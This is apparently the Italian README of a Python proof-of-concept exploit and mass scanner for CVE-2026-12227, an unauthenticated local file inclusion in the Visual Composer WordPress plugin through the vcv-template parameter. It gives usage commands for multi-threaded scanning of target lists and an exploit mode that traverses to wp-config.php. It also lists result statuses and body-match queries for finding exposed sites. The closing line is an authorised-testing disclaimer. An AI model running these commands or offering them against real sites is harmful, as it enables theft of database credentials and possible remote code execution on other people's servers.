
PoC e scanner in Python 3 per CVE-2026-12227, una local file inclusion non autenticata in WordPress Visual Composer Website Builder tramite il parametro vcv-template.
PoC in Python 3 per CVE-2026-12227 (Wordfence): Local File Inclusion tramite il parametro di query vcv-template in Visual Composer Website Builder (visualcomposer su wordpress.org).
| Piattaforma | Plugin WordPress |
| Componente | Visual Composer Website Builder |
| Affetto | ≤ 45.16.0 |
| Corretto in | > 45.16.0 (WP Trac 3619572) — usare l'ultima versione stabile (es. 45.16.3+) |
| CVSS | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Non autenticato |
| CWE | CWE-98 |
| Non | WPBakery (js_composer) o SAP NetWeaver Visual Composer |
Sulle versioni vulnerabili, il caricamento di pagine pubbliche rispetta il parametro vcv-template controllato dall'attaccante (con vcv-template-type) durante la gestione di template_include di WordPress all'interno di PageTemplatesController. Ciò può includere file scelti dall'attaccante presenti sul disco; i file PHP potrebbero essere eseguiti (RCE). Wordfence segnala catene con estensioni "sicure" caricate in alcune configurazioni.
?vcv-template-type=vc&vcv-template=blank o percorsi LFI sotto vcv-template.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| File | Significato |
|---|---|
cve_2026_12227_results.jsonl | JSON completo per target |
hits.txt | Hostname candidati |
candidates.jsonl | Riepilogo modalità check (page_url, status, lfi) |
| Stato | Significato |
|---|---|
lfi_confirmed | La risposta corrisponde alle euristiche wp-config / /etc/passwd / version.php |
vcv_template_controllable | vcv-template=blank modifica il layout rispetto alla baseline (parametro vulnerabile rispettato) |
plugin_vuln_no_surface | Versione plugin obsoleta ma nessuna pagina VC o parametro ignorato |
no_vc_page | Plugin presente, nessun marcatore VC sui percorsi scansionati |
patched | Versione > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate; confermare su un clone di staging prima di assumere RCE.Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.